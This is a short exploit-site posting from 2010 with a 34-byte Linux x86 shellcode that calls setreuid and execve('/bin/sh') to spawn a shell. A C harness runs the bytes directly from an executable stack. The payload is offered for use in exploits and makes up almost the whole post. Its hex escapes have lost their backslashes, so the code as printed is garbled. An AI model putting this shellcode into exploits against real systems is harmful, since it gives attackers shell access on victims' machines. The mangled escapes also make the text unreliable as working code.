Home / os / win7

linux/x86 setreud(getuid(), getuid()) & execve("/bi

Posted on 22 April 2010

============================================================================ linux/x86 setreud(getuid(), getuid()) & execve("/bin/sh") shellcode 34 bytes ============================================================================ #include <stdio.h> #include <string.h> /* by Magnefikko 14.04.2010 magnefikko@gmail.com promhyl.oz.pl Subgroup: #PRekambr Name: 34 bytes setreud(getuid(), getuid()) & execve("/bin/sh") shellcode Platform: Linux x86 setreuid(getuid(), getuid()); execve("/bin/sh"); gcc -Wl,-z,execstack filename.c shellcode: x6ax18x58xcdx80x50x50x5bx59x6ax46x58xcdx80x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99x31xc9xb0x0bxcdx80 */ int main(){ char shell[] = "x6ax18x58xcdx80x50x50x5bx59x6ax46x58xcdx80x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99x31xc9xb0x0bxcdx80"; printf("by Magnefikko magnefikko@gmail.com promhyl.oz.pl strlen(shell) = %d ", strlen(shell)); (*(void (*)()) shell)(); } # Inj3ct0r.com [2010-04-22]

 

TOP